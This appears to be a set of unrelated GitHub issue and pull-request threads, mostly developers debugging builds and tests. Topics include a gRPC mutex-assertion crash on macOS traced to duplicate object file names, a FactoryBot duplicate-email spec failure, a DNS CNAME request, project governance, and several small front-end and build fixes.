g++ -std=c++11 -I/usr/local/include -pthread  -c -o greeter_async_server.o greeter_async_server.cc
g++ helloworld.pb.o helloworld.grpc.pb.o greeter_async_server.o -L/usr/local/lib pkg-config --libs grpc++ grpc -Wl -lgrpc++_reflection -Wl -lprotobuf -lpthread -ldl -o greeter_async_server
➜  helloworld git:(d7ff4ff) ✗ ./greeter_server
E0825 11:17:15.768300000<PHONE_NUMBER>62880 sync_posix.c:51] assertion failed: pthread_mutex_lock(mu) == 0
[1]    8910 abort      ./greeter_server
➜  helloworld git:(d7ff4ff) ✗

I've also run into this. The issue doesn't seem to exist in the common parent of 0e43d67 and the v1.0.0 tag. Git bisect suggests it was introduced in a469e5d, which just changes library links.
In fact, it also happens on current master (c931305). So there doesn't seem to be a fix already created. Perhaps it's something to do with grpc_unsecure?

After some investigation, I believe the issue is that a469e5d adds the grpc library object files directly into the grpc++ library (so you don't have to link against grpc when using grpc++).
The problem is that some of the grpc object files have the same names as grpc++ object files (eg: time.o from time.c and time.o from time.cc). The linker only includes one of them (and warns about this). However, you don't get actual linker errors (unresolved symbols, etc) because it also links to grpc. But you almost certainly get duplicate global variables this way, which is probably where the error on this ticket comes from (the mutex storage that is initialised is not the mutex storage that is used).
I've seen similar issues in the Windows build system (where it does cause linker errors), probably from the same commit. Partially reverting a469e5d (removing all the added "src/core/**/*.c" lines) fixes the issue. Renaming some of the C++ or C source files should also work (in which case, libgrpc++ should no longer link to libgrpc).

I have this problem on Mac OS X 10.11.6, too. Neither the current master 7f936eaa379e88869fcdb187d084f9bd7300c792 nor the v1.0.0 tag works with the ./greeter_server example.
The same code totally works on Ubuntu 16.04.1 LTS, though.
@amerry Could you please provide more information about your workaround? Thanks!

So if that's the case, we're making sure we have no more duplicated filenames at all, in the v1.0.x.

@liuempire if you just want a quick build fix, git revert a469e5d will do it. However, I think you may end up being unable to use grpc++_unsecure without OpenSSL.
@nicolasnoble that should fix both the Windows (vsprojects) and Mac (Makefile) build systems. Although the Makefile should also be changed to not link grpc++[_unsecure] to grpc[_unsecure].

I can confirm it exists on OS X El Captain, even in current 'master' branch. The workaround is to static link libgrpc++.a and libgrpc.a archive in Xcode, but I was failed to mix link static and dynamic libraries in CMake.

As of today, this issue does still exist in master. I'm not sure how to utilize the static link workaround with the current examples, is there any additional info on workarounds. Any ideas when a fix might get into the tree? We're trying to use this on Mac, Windows and Linux and right now the Mac can't even run the example "hello world" app.

@advenioinc Here is part of my CMakeLists.txt
set(PROJ_DEPS ${BREW_HOME}/lib/libgrpc++.a ${BREW_HOME}/lib/libgrpc.a z protobuf    mongocxx bsoncxx mongoc-1.0    bson-1.0 ssl crypto iec61850 ${RT_LIB} pthread dl)
that the variable PROJ_DEPS was putted in target's target_link_libraries()
add_executable(${PROJECT_NAME} common/Variables.cpp main.cpp)
target_link_libraries(${PROJECT_NAME} ${PROJ_DEPS})
We just use the absolute path of grpc static libraries and leave other dynamic library by use their name.
and for Xcode, you can set 'Other linker flags' in Project Settings like this
/usr/local/lib/libgrpc++.a /usr/local/lib/libgrpc.a z protobuf    mongocxx bsoncxx mongoc-1.0

this problem still exist on MacOS Sierra

$ ./route_guide_server &
[1] 14383
DB parsed, loaded 100 features.
E1020 10:14:11.448431000<PHONE_NUMBER>96832 sync_posix.c:51] assertion failed: pthread_mutex_lock(mu) == 0
[1]  + 14383 abort      ./route_guide_server
macOS Sierra 10.12

I have successfully compiled the route_guide_server example with the current master at f89a4a1 on MacOS Sierra.

Confirmed, it fixed in current master commit.

Did you try to compile the latest master with brew? For me the building it fails with the following error:
[CXX]     Compiling src/cpp/ext/proto_server_reflection.cc In file included from src/cpp/ext/proto_server_reflection.cc:39: In file included from ./src/cpp/ext/proto_server_reflection.h:56: In file included from include/grpc++/ext/reflection.grpc.pb.h:73: include/grpc++/ext/reflection.pb.h:46:2: error: This file was generated by a newer version of protoc which is #error This file was generated by a newer version of protoc which is  ^ include/grpc++/ext/reflection.pb.h:47:2: error: incompatible with your Protocol Buffer headers.  Please update #error incompatible with your Protocol Buffer headers.

I compiled with the make command. You need to be sure to run make uninstall or something to remove all old versions of your system. If you do not then you get this kind of error. It took me all weekend to find that out.

So you installed manually or with brew?

Has it been released with v1.0.1?

I have the same problem on my MacOSX Sierra.
./greeter_server&
[1] 12371
E1116 15:47:04.625304000<PHONE_NUMBER>99680 sync_posix.c:51] assertion failed: pthread_mutex_lock(mu) == 0
[1]  + 12371 abort      ./greeter_server

I've re-opened the issue - we should verify before closing.
@Toldy can you provide more details of your installation? Is this from brew or manually, also which version of gRPC are you using?
Per @sab24's comment can you confirm if this is due to older versions of libgrpc in your system?

Dowload protobuf, extract it cd into it
./configure
make uninstall

Install grpc
git clone -b $(curl -L http://grpc.io/release) https://github.com/grpc/grpc
cd grpc
git submodule update --init
rm -r ./third_party/nanopb
git checkout f89a4a1
cd third_party
cd protobuf
git checkout master
cd ../..
make
su
make install
cd third_party/protobuf
make install
exit
cd examples/cpp/helloworld
make

This works. When trying for the current master branch of grpc then the error is:
Undefined symbols for architecture x86_64:
"_grpc_global_wakeup_fd", referenced from:
_grpc_init_poll_posix in ev_poll_posix.o
_grpc_init_poll_cv_posix in ev_poll_posix.o
_pollset_work in ev_poll_posix.o
_kick_poller in ev_poll_posix.o
_shutdown_engine in ev_poll_posix.o
ld: symbol(s) not found for architecture x86_64
clang: error: linker command failed with exit code 1 (use -v to see invocation)

These seem to be different issues.
@athei The problem is caused by the version number of protobuf. We've removed those generated files in #8380.
@sab24 The problem seems to be caused by #8680. We are working on a fix for it.

@sab24, the related issue and PR for the problem you are seeing are in #8766 and #8832 respectively

I followed the instructions from @sab24 above.
I get the following error when I try to make grpc:
make: *** No rule to make target /Users/hadilsabbagh/grpc/objs/opt/third_party/boringssl/crypto/asn1/a_bytes.o', needed by /Users/hadilsabbagh/grpc/libs/opt/libboringssl.a'.  Stop.


Ensure every Partners::User created by FactoryBot has a unique email address

Description
This PR ensures that the factory of Partners::User doesn't raise an error in specs due to emails being already in use. This should avoid brittleness of tests!
Here what a failed test looks like:
  2) Reports::AdultIncontinenceReportService#report with values should handle null distribution quantity
     Failure/Error:
       Partners::User.create!(
         email: Faker::Internet.email,
         name: Faker::Name.name,
         partner: partners_partner,
         password: 'password!',
         invitation_sent_at: Time.utc(2021, 9, 16, 12, 43, 4),
         last_sign_in_at: Time.utc(2021, 9, 17, 11, 34, 4)
       )

     ActiveRecord::RecordInvalid:
       Validation failed: Email has already been taken
     # ./spec/factories/partners.rb:126:in `block (3 levels) in <top (required)>'
     # <internal:kernel>:90:in `tap'
     # <internal:kernel>:90:in `tap'
     # ./spec/services/reports/adult_incontinence_report_service_spec.rb:39:in `block (4 levels) in <top (required)>'

https://github.com/rubyforgood/human-essentials/runs/4750290059?check_suite_focus=true
Type of change

Bugfix (non-breaking change which fixes an issue)

How Has This Been Tested?
CI should be a good indicator that its been addressed
Screenshots
N/A

@bobmazanec tagging you here because the PR you opened in #2682 was affected by this.

The proposed changes look OK to me.
spec/system/donation_system_spec.rb failures pass on my box, so let's assume they're spurious.
The spec/system/partner_system_spec.rb example fails similarly & consistently for me:
Failures:

  1) Partner management #approve_partner when viewing a partner's users can show users of a partner
     Failure/Error: expect(invitation_sent_at).to appear_before(last_sign_in_at)
       expected "January 9, 2022" to appear before "January 9, 2022"
  [...]

(February 16, 2022 in CI)
I can't tell what the intention of the expectation is
[...]
        let(:invitation_sent_at) { partner_user.invitation_sent_at.strftime('%B %-d, %Y') }
        let(:last_sign_in_at) { partner_user.last_sign_in_at.strftime('%B %-d, %Y') }

        it 'can show users of a partner' do
          visit subject

          within("#partner-users") do
            [...]
            expect(invitation_sent_at).to appear_before(last_sign_in_at)
          end

Can't say I've seen/used the orderley gem before, but if I'm reading
appear_before correctly, it seems to be checking if one date string appears in the context earlier than another...which appears problematic when they're identical?

Drop the expectation?
Use date/time strings with more precision (maybe down to milliseconds?)
Distinguish the elements with classes (e.g., .invitation_sent_at and last_sign_in_at) rather than text contents?
Something else?

Can we make this simpler by changing the Faker call to a simple sequence?
factory :user do
 sequence(:email) { |n|<EMAIL_ADDRESS>}

?

ignore that ^

:facepalm:
Still can't say I get the expectation's intent, but I got the example to pass with this change to the factory:
spec/factories/partners/users.rb:
[...]
    invitation_sent_at { Time.current - 1.day } # <-
    last_sign_in_at { Time.current }

Seems kinda magic numbery, so I would suggest it would need/deserve some comment/documentation at least in the commit...even better in the code

With that factory change in place, I had

2 expected (#2676 / #2682) dashboard spec failures
1 spurious Audit management (spec/system/audit_system_spec.rb:188) failure which passed on re-run

The spec/system/partner_system_spec.rb example fails similarly & consistently for me:

Likewise. And also I don't really see the value in adding that spec tbh. The system test shouldn't really be testing something like that which ought to be handled somewhere else. I'am in favor of getting rid of it and will do so in this PR. I prefer tests that give us higher confidence and for specific reasons.
I've removed it in https://github.com/rubyforgood/human-essentials/pull/2683/commits/2b654c60d13343796c5cbb236c57244244f80806. Thanks @bobmazanec for asking some unasked questions :)


Add CNAME entry in DNS

Current Behavior
docs.layer5.io CNAME pointing to GH is needed.

Contributor Guide

🎨 Wireframes and designs for Layer5 site in Figma (open invite)

CNAME for docs.layer5.io created and pointing to layer5io.github.io.


governance

I have been looking at the Jupyter governance docs for getting ideas on how to sketch this out. Although SimPEG is a much smaller project, I think there are some things that we should think about / discuss as a group cc @simpeg/simpeg-developers.

BDFL(s): do we want to nominate a Benevolent Dictator(s) for Life for SimPEG? I am supportive of the Jupyter definition of the BDFL: basically, the BDFL is the decisive decision maker in the case where there is a deadlock in the Steering Council, or if the Steering Council asks the BDFL to be the decision maker on a given matter
Steering council: do we want to specifically assign a steering council? This would be contributors who " produced contributions that are substantial in quality and quantity, and sustained over at least one year."

From our conversation this week, the next steps are to formalize what we have discussed in the suggested next steps document for a governance model.
From there, we can open up separate issues to discuss a mission statement, practices for onboarding + celebrating new contributors, and making some updates to the website to make contributors visible and highlight contributing organizations.

closing this with the merge of #8


chore: Allow all file I/Os for git in parallel

Description

[!TIP]
Add a TL;DR when the description is longer than 500 words or extremely technical (helps the content, marketing, and DevRel team).
Please also include relevant motivation and context. List any dependencies that are required for this change. Add links to Notion, Figma or any other documents that might be relevant to the PR.

Fixes #Issue Number
or
Fixes Issue URL

[!WARNING]
If no issue exists, please create an issue first, and check with the maintainers if the issue is valid.

Automation
/ok-to-test tags=""
:mag: Cypress test results

[!CAUTION]
If you modify the content in this section, you are likely to disrupt the CI result for your PR.

Communication
Should the DevRel and Marketing teams inform users about this change?

[ ] Yes
[ ] No

Summary by CodeRabbit

New Features

Enhanced performance for handling application resources in Git through parallel processing.
Improved efficiency in saving actions and action collections.

Bug Fixes

Streamlined logic for processing widgets and JavaScript libraries, reducing potential bottlenecks.

Documentation

Minor adjustments to comments for clarity.

/build-deploy-preview skip-tests=true

/build-deploy-preview skip-tests=true


Multiple Columns filter using Or instead of And

It appears that when you use the initMultipleColumns, the filter performs an AND operation wher it only includes records that have that value in both columns. Is it possible to have it filter using an OR operation where the value is in either column?
The reason I ask is I have a table that has 6 columns that represent Approval Levels that contain the names of a person who can approve at that level. What I want to do is have a single select or multi_select that would allow a person find records which they are an approver at any level. Hopefully, I'm making sense.
BTW, this is a great plugin and you have done an awesome job.
Thanks!

Hi,
yadcf uses the datatables api and I'm not aware of OR filtering with the dt api, I can think of a way to achieve it, I remeber other users doing it in the following way: use the multi_select_custom_func , and apply your own filtering logic to check for presence in several columns, and as to the position of the filter outside the table you can use the filter_container_id or filter_container_selector (all described in the docs)


Fix sc frontend read box

Purpose
Addresses #139.
Changes

RPC calls could return BigInts, which cannot be serialized with JSON.stringify. This PR uses the package json-bigint as a replacement in places where a return value is serialized to address this.
Contract method names are fixed in error messages.

Checklist

[x] My code follows the style of this project.
[x] The code compiles without warnings.
[x] I have performed a self-review of the changes.
[x] I have documented my code, in particular the intent of the
hard-to-understand areas.
[x] (If necessary) I have updated the CHANGELOG.

Suggestion: If we have no schema uploaded (and the read box returns the raw bytes), it would be better to return them e.g. in a hex-decimal type of string then the Buffer presentation (since for large objects it is hard to copy/read).


Example code for issue 77

For #77

This PR got superseded by https://github.com/adamghill/django-unicorn/pull/81.


Comments left on files for review

This is the current set up of the seo component, on the index page.
I've tried debugging it here as you suggested, and the only error I get is:
ERROR: No card found (Card error)
And that hasn't been too much help

Alright, first of all — here if need to use summary_large_image not summary.
Take a look at what I have on my site:
<meta property="og:title" content={title || `Telmo, code & design`} />
<meta property="og:site_name" content="Telmo, code & design" />
<meta property="og:description" content={og ? og.description : `Writing about the tips I usually share on Twitter and some more.`} />
<meta name="twitter:card" content="summary_large_image" />
<meta name="twitter:site" content="@telmo" />
<meta property="og:image" content={og ? og.image : `https://telmo.im/og/default.png`} />

One that I've noticed you're missing is og:site_name.


Update AMCV cookie MCMID content

Looks good to me.

Fixed in https://git.corp.adobe.com/AdobeDocs/id-service.en/pull/65

Closing this PR since the issue had been fixed with https://git.corp.adobe.com/AdobeDocs/id-service.en/pull/65


BIGTOP-3394: Building Logstash is failing on CentOS 8, Debian 10 and Ubuntu 18.04

when rvm install ruby-2.4.0 under user: jenkins,
it fails to "try_sudo" to install autolibs dependencies.
Disable unnecessary autolibs installation.

+1, tested on CentOS 7/8 and Ubuntu 16.04/18.04. Thank you for the perseverant investigation, @guyuqi!
(To be precise, I had to replace the URL of keyserver with hkp://ipv4.pool.sks-keyservers.net in bigtop-packages/src/common/logstash/do-component-build only on CentOS 8 for some reason. Without that, the gpg2 command failed with a gpg: keyserver receive failed: End of file error. But it was a problem specific to my environment, I think)